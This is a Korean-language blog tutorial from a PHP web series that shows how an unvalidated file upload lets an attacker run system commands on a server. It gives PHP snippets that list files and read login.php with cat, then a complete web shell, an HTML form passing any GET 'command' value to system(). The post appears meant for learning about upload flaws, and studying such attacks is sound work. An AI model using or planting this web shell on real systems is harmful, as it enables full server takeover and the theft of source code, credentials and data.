1

Web Shell 찍먹

Web Shell 찍먹

노아의 블로그

    목차
반응형

저번에는 아무런 검증을 하지 않는 파일 업로드 페이지에

간단하게 index.php를 업로드 해서 공격을 했습니다.

 

하지만 더 대단한 공격이 있습니다.

PHP에서 Shell script를 실행시킬수 있습니다.

여기서 Shell script란 시스템 명령어에 해당합니다.

 

그래서 파일 업로드를 통해 해커가 시스템 명령어를 간접적으로 실행해서

서버를 장악할 수 있습니다.

 

일단 테스트를 위해서 서버측에서 Shell Script를 실행시켜 보겠습니다.

 

index.php에 다음과 같은 코드를 입력합니다.

ls는 dir와 똑같은 명령어죠. 디렉토리 내용을 출력하는 명령어 입니다.

<?php
	$var = system('ls');
	echo $var;
?>

 

서버측에서 접속했더니 내용들이 모두 나오네요! (localhost)

 

하지만? 해커 컴퓨터에서 접속해도 똑같은 화면이 나옵니다.

 

당연하게도 서버측에서 실행되는 코드이기 때문이죠..

 

그러면 해커측에서 공격을 해 보겠습니다.

 

ls로 파일 이름을 조회했습니다.

해커는 로그인 로직이 궁금했습니다. 그래서 cat 명령어로 조회를 하고자 합니다.

 

서버에 삽입할 hack.php를 제작하고 

<?php
	$command = 'cat login.php';
	system($command);
?>

업로드 합니다.

 

이제 hack.php에 접속합니다.

 

로그인 코드가 다 나옵니다...

 

굉장히 위험하쥬. 실제 SQL도 보이네요.

 

좋습니다.

 

하지만 문제가 있습니다. 

바로 이렇게 하면 명령어마다 파일을 실행해야 하는 것!

그러니 좀 더 효율적인 환경 셋팅이 필요합니다.

 

<html lang="en">
<head>
    <title>Hack Page!</title>
</head>
<body>
    <h1>Hack</h1>
    <form action="" method="get">
        <input type="text" name="command">
        <input type="submit">

    </form>
    <br>
</body>
</html>

<?php
	$command = $_GET['command'];
	system($command);
?>

이렇게 하면 편안하게 입력한 명령어마다 실행이 가능합니다!

 

 

배고프니까 다음에 계속....

반응형

'WEB > PHP' 카테고리의 다른 글

PHP 게시판 제작 - 파일 다운로드  (0) 2023.06.02
PHP 웹 개발 - 서버 네트워크 세팅  (0) 2023.05.30
PHP 게시판 제작 - 조회수 기능  (0) 2023.05.27